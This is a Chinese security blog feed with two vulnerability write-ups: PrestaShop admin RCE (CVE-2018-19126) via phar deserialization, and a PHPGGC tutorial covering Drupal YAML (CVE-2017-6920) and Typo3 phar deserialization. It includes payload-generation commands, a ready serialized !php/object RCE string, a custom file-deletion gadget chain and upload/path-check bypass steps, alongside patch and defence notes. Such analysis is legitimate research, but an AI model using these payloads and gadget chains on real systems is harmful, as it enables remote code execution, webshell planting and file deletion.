Phpggc on 诗与胡说

PrestaShop后台远程代码执行漏洞分析(CVE-2018-19126)

Wed, 19 Dec 2018 16:48:02 +0000

0x01 概述

PrestaShop是一款针对web2.0设计的全功能、跨平台的免费开源电子商务解决方案，自08年1.0版本发布，短短两年时间，发展迅速，全球已超过四万家网店采用Prestashop进行部署。Prestashop基于Smarty引擎编程设计，模块化设计，扩展性强，能轻易实现多种语言，多种货币浏览交易，支持Paypal等几乎所有的支付手段，是外贸网站建站的佳选。Prestashop是目前为止，操作最简单，最人性化，用户体验最佳的电子商务解决方案之一。

11月7日 PrestaShop 官方发布新版本，修复两个高危漏洞，其中CVE-2018-19126允许攻击者通过上传精心构造的文件导致任意代码执行，CVE-2018-19125则导致攻击者删除服务器上的默认图片上传文件夹。

公告：http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/

补丁：https://github.com/PrestaShop/PrestaShop/pull/11287

由于该漏洞触发需要后台上传权限，在这个系统中有上传权限的角色包括物流员、翻译者、销售人员，所以漏洞影响面还是有限。

0x02 影响版本

1.6.x before 1.6.1.23

1.7.x before 1.7.4.4

0x03 环境搭建

下载1.7.4.3版本并安装

https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip

在安装过程中会强制要求修改默认后台路径admin，同时要求删除install文件夹，从安全角度来讲，这是一个好设计：）

此案例中后台路径命名为/admin-rename/

0x04 漏洞分析

根据补丁位置显示漏洞出现在后台处理文件上传的模块，在admin-dev/filemanager/ajax_calls.php的image_sizecase分支，新版本直接删除了这段代码，其中最值得怀疑的是getimagesize()函数，在10月份披露的国外轻量级开源论坛系统Vanilla Forums就是因为该函数导致了一个远程代码执行漏洞，详细可以看这里

那么getimagesize()函数存在什么问题呢？在今年的BlackHat大会上由Sam Thomas分享的反序列化漏洞议题主要讲了被忽略的phar://协议导致的phar反序列化漏洞，此前也简单介绍了一下这个议题，参考由PHPGGC理解PHP反序列化漏洞，在这里面提到一些在解析phar://协议时会产生风险的常用函数，如下图

getimagesize()同样存在这个问题，当调用getimagesize('phar://some/phar.ext');的时候，php解析phar文件时会进行反序列化，如果其内容是恶意构造的，就能达到任意代码执行的效果

风险点找到了，接下来看一下如何触发漏洞

ajax_calls.php在filemanager模块下面，通过http://host/admin-rename/filemanager/dialog.php页面调用，这个页面主要功能就是上传文件，以及创建文件夹，文件排序、删除等等，通过action参数控制操作，所以可以直接通过action=image_size访问到漏洞触发点

在dialog.php开头设置了一个verify字段

$_SESSION["verify"] = "RESPONSIVEfilemanager";

而在页面检查了这个字段的值，所以无法直接访问ajax_calls.php页面，必须先访问dialog.php，目的应该是为了保证文件操作都是从dialog.php页面进行的吧

if ($_SESSION['verify'] != 'RESPONSIVEfilemanager') {
    die('Forbidden');
}

然后我们就可以上传一个phar文件，当然系统限制文件后缀只能在白名单内'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', 'webm'，所以需要将phar文件重命名符合要求的后缀。由于在phar://解析时只要满足phar文件标识，即文件头必须以__HALT_COMPILER();?>结尾，所以并不限制文件后缀。此处也有一个技巧，我们可以创建一个合法的jpeg文件，同时又是一个phar文件，这个文件甚至可以绕过MIME检查，关于这个技巧可以参考这里

接下来具体看image_size分支

case 'image_size':
    if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
        die();
    }
    $pos = strpos($_POST['path'], $upload_dir);
    if ($pos !== false) {
        $info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
        echo json_encode($info);
    }

    break;

第一个if条件，检查path参数的绝对路径是否和系统定义的upload_dir绝对路径相等，upload_dir的值是

$upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/'; // path from base_url to base of upload folder (with start and final /)

而我们要post的path参数是这个样子phar://path/phar.jpg，显然无法通过判断。这时候考虑一下，假如我们把默认上传路径修改了，比如改成img/test/，那么系统就会找不到img/cms/这个路径，realpath返回结果为false，那么就可以绕过这个条件。

那么什么办法可以修改这个路径呢？

在admin-rename/filemanager/execute.php文件可以看到有一些文件及文件夹操作，允许用户删除或者重命名文件夹，通过action和name参数我们可以将默认的img/cms/修改成自定义文件夹，甚至可以删除这个路径，这也就是CVE-2018-19125这个漏洞的触发位置。

接下来看第2个条件

$pos = strpos($_POST['path'], $upload_dir);

此处只要让path参数包含img/cms/字符串即可，这样经过后面的替换和拼接，path就类似于phar://img/test/phar.pdf/var/www/html/img/cms/，不影响phar解析

phar文件最终进入getimagesize()，如果序列化一个可以执行任意代码的类，生成恶意的phar文件，构造一条完整的POP链，就可以形成一个RCE

在PrestaShop项目中存在Monolog，这是php下一个日志记录类库，在这个库中的BufferHandler类的handle函数有一段存在风险的代码

public function handle(array $record){
    //...
	if ($this->processors) {
    	foreach ($this->processors as $processor) {
        	$record = call_user_func($processor, $record);
    	}
	}
    //...
}

如果$this->processors和$record均可控的话，就可以造成一个命令执行，所以我们可以序列化这个类构造POP链

0x05 漏洞利用

一、生成phar文件

我们利用之前介绍过的PHARGGC工具生成一个包含POP链的phar文件，选择Monolog/RCE1，看一下这个gadget的使用

> pharggc -i Monolog/RCE1
Name           : Monolog/RCE1
Version        : 1.18 <= 1.23
Type           :
Vector         : __destruct

./pharggc Monolog/RCE1 <code>

生成一个out.phar，并重命名成out.png

> pharggc Monolog/RCE1 "phpinfo();"
Payload written to: out.phar

然后通过http://host/admin-rename/filemanager/dialog.php上传到服务器上

二、重命名默认上传目录

通过http://host/admin-rename/filemanager/execute.php?action=rename_folder重命名默认上传目录

三、发送payload

通过path参数传入上传的phar文件，getimagesize()自动解析phar，触发反序列化

0x06 补丁分析

补丁位置：https://github.com/PrestaShop/PrestaShop/pull/11287

官方对这两处漏洞做了修复，一方面是直接删除了case 'image_size'分支，一方面也严格检查了文件mime类型，同时对realpath检查时限制了必须是已存在的目录

0x07 总结

这个漏洞触发流程并不复杂，几个限制也能简单地绕过，关键在于某些函数没有考虑到传入phar://的情况，在解析该协议时产生反序列化漏洞。另外值得注意的是，php.ini中phar.readonly = On选项并不会影响phar解析，没有关闭此选项(默认为On)依旧会导致漏洞触发，近段时间以来基于phar的漏洞也在逐渐增加，希望能够引起开发者的重视。

由PHPGGC理解PHP反序列化漏洞

Mon, 08 Oct 2018 14:43:41 +0000

0x01 概述

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具，类似Java中的ysoserial，当前支持的框架包括Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii 和 ZendFramework，可以说是反序列化的武器库了。本文从该工具出发，以Drupal Yaml反序列化漏洞和Typo3反序列化漏洞为例，分析其中的多种利用方式，并介绍一下今年BlackHat议题关于新型php反序列化攻击的部分。

0x02 Drupal Yaml反序列化漏洞

一、介绍

关于Drupal就不过多介绍了，前阵子两个RCE漏洞杀伤力巨大，这次介绍的是去年披露的关于反序列化的漏洞，CVE-2017-6920，官方描述是YAML解析器处理不当导致的一个远程代码执行漏洞

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.

详情见SA-CORE-2017-003

二、漏洞分析

先来看一下补丁，diff 8.3.3 和 8.3.4 版本，主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php文件decode方法

可见在yaml_parse前进行了ini_set('yaml.decode_php', 0);

用户可控制的参数$raw直接传给了yaml_parse函数，而在手册上关于yaml_parse函数有这么一个注意点：

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

也就是说，如果使用了yaml标志!php/object，那么这个内容会通过unserialize()进行处理，设置yaml.decode_php则可以禁止，这就是为什么补丁增加了这行代码。

看一下调用decode()方法的地方，core/lib/Drupal/Component/Serialization/Yaml.php：

public static function decode($raw) {
    $serializer = static::getSerializer();
    return $serializer::decode($raw);
}

在Yaml类的decode()方法调用了static::getSerializer()方法，跟入

可以看到加载了yaml扩展后就会进入YamlPecl类，进而调用Yaml::decode()方法，搜索调用Yaml::decode并且参数能被控制的地方，在core/modules/config/src/Form/ConfigSingleImportForm.php的validateForm()方法：

$data = Yaml::decode($form_state->getValue('import'));

validateForm()的调用处在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import，decode()的参数直接从表单获取，于是通过import将恶意参数传递进去。

三、漏洞利用

现在我们需要找到一个类，使之在被反序列化的时候执行危险函数，常规搜索_destruct、_tostring以及_wakeup方法，在drupal核心中有这么三个类可以被利用，其中两个在phpggc工具中已经集成，另一个我们手动加入到phpggc中

1. 远程代码执行

vendor/guzzlehttp/psr7/src/FnStream.php FnStream类的__destruct()方法

  public function __destruct()
  {
      if (isset($this->_fn_close)) {
          call_user_func($this->_fn_close);
      }
  }

我们通过序列化这个类，传递参数_fn_close为任意php代码，在yaml_parse的时候反序列化便可以造成一个任意代码执行。

在PHPGGC中已经内置这个类，查看信息

看一下内部实现

phpggc将_fn_close参数设置为HandlerStack类，再在HandlerStack序列化的时候传入可控参数$handler，而在这个案例中我们不需要额外的HandlerStack类了，所以对generate()方法稍加修改，直接构造一个FnStream类，注意参数是array类型：

return new \GuzzleHttp\Psr7\FnStream([
    'close' => $code
]);

然后生成序列化数据：

接着拼接YAML_PHP_TAG即!php/object，并且要将字符串转义，注意序列化数据中的空字符，我们将其替换成\0，最终生成的字符串如下：

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/importimport序列化后的数据，便可以执行代码

2. 任意文件写入

上面call_user_func()造成了一个任意代码执行，我们再找到一个file_put_contents()造成任意文件写入

在vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php的FileCookieJar类

__destruct()调用save()方法，通过file_put_contents()写入文件内容，而文件名和文件内容均是我们可以控制的，所以此处可以写入一个shell

同样地看一下phpggc中有关FileCookieJar类的部分：gadgetchains/Guzzle/FW/1/chain.php

通过这个类生成序列化数据

需要提供远程文件路径和本地文件路径两个参数

接着还是拼接和转义，并import数据

写入的是整个json字符串，但是不影响代码执行。

3. 任意文件删除

另一个类是WindowsPipes，路径vendor/symfony/process/Pipes/WindowsPipes.php，该类可以造成文件删除

在phpggc中没有内置这个类，于是我们按照这个工具的框架来实现一下，方便理解该工具。

在lib/PHPGGC/GadgetChain.php已经有TYPE_FD这个类型，代表file_delete，那么我们直接在lib/PHPGGC/GadgetChain/注册一个FileDelete

<?php

namespace PHPGGC\GadgetChain;

abstract class FileDelete extends \PHPGGC\GadgetChain
{
    public static $type = self::TYPE_FD;
    public $parameters = [
        'file_name'
    ];
}

这个类就可以作为POP链拿来使用了

然后在Symfony目录下创建RMF/1，并创建chain和gadgets

gadgetchains/Symfony/RMF/1/chain.php

<?php

namespace GadgetChain\Symfony;

class RMF1 extends \PHPGGC\GadgetChain\FileDelete
{
    public $version = '2.6 <= 2.8.32';
    public $vector = '__destruct';
    public $author = 'crlf';
    public $informations = 'Remove remote file.';

    public function generate(array $parameters)
    {
        $input = $parameters['file_name'];

        return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
    }
}

gadgetchains/Symfony/RMF/1/gadgets.php

<?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
    private $files = array();

    public function __construct($input)
    {
        $this->files = array($input);
    }

}

我们直接生成WindowsPipes的序列化数据，把文件名作为参数传入，在反序列化的时候自动调用removeFiles()，实现任意文件删除

生成序列化字符串

import后文件被删除

四、总结

通过这个漏洞对phpggc工具有了一定了解，我们可以添加自定义POP链到工具中，用来丰富这个武器库。

另外针对这个漏洞，文件写入和文件删除都需要知道网站的绝对路径，加上需要登录后才能利用，一定程度上加大了利用难度。

0x03 Typo3反序列化漏洞

一、介绍

Typo3也是一款著名的CMS，但是在国内流行程度不如Wordpress。这个漏洞是今年BlackHat大会上由Sam Thomas分享反序列化漏洞议题时作为案例来讲的，该漏洞由phar://触发，这是一个新型的反序列化利用方式，日常开发中容易忽略这个风险点，在漏洞利用中也用到了phpggc这个工具，所以一并学习。

关于该漏洞的官方描述，可以看这里

二、phar://介绍

在分析漏洞前先介绍一下phar://伪协议，直接看php手册的介绍

Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与file:// php://等类似，也是一种流包装器。

phar结构由4部分组成

stub phar文件标识，格式为 xxx<?php xxx; __HALT_COMPILER();?>；
manifest 压缩文件的属性等信息，以序列化存储；
contents 压缩文件的内容；
signature 签名，放在文件末尾；

这里有两个关键点，一是文件标识，必须以__HALT_COMPILER();?>结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制；二是反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化，而这样的文件操作函数有很多，包括下面这些：

图片来自seebug

这中间大多数是常用的函数，在一个系统中使用相当广泛，结合文件伪造，使得通过phar://解析造成的反序列化攻击变得愈加容易。

三、漏洞分析

接下来看一下Typo3中存在漏洞的代码

在typo3/sysext/core/Classes/Database/SoftReferenceIndex.php的getTypoLinkParts()方法

上面说到存在风险的文件操作函数，其中就包括file_exists()，当传给file_exists()的参数是phar压缩文档并通过phar://伪协议解析时，就会反序列化其中的metadata数据，一旦该数据被控制，就会形成漏洞。

下面举一个例子演示

可以看到通过file_exists()函数判断文件是否存在即对TestObject类进行了反序列化。

那么我们可以构造$splitLinkParam参数为phar文件，其中包含恶意代码，传递给file_exists()函数，便会触发漏洞。

四、漏洞利用

pharggc是在phpggc的基础上增加了对phar的支持，能够将序列化后的payload写入到phar文件中，通过phar://解析时触发payload

我们已经找到可以触发漏洞的地方，但还需要一个类来执行代码，在Typo3中同样存在FnStream类，所以我们还是使用guzzle/rce1载荷将数据写入一张图片中

然后上传这个附件，接着创建一个页面，将Link设置为phar://，注意需要将:转义

保存后就会触发漏洞

调用栈如下图所示

五、总结及防御

这个漏洞利用的是phar的特性，在系统未过滤phar://协议且参数可以控制时，容易引发漏洞，开发时也需要多注意限制使用不必要的流包装器，上传文件也要校验文件内容而不仅仅是文件头。

防范措施

限制PHP流包装器的使用(传递)；
控制文件操作函数的参数，过滤特殊字符，例如 phar:// 等；
仅在特别请求时才对元数据进行反序列化；

0x04 总结

本文分析了两个漏洞，并结合phpggc工具梳理了反序列化漏洞常见的攻击方式，以及如何寻找一条可以利用的POP链，也提到了开发中容易忽略的安全风险，希望能给大家起到帮助。

参考：

https://paper.seebug.org/334/

https://paper.seebug.org/680

https://github.com/ambionics/phpggc

https://github.com/s-n-t/phpggc

http://php.net/manual/en/function.yaml-parse.php

http://php.net/manual/en/intro.phar.php

https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple

https://typo3.org/security/advisory/typo3-core-sa-2018-002/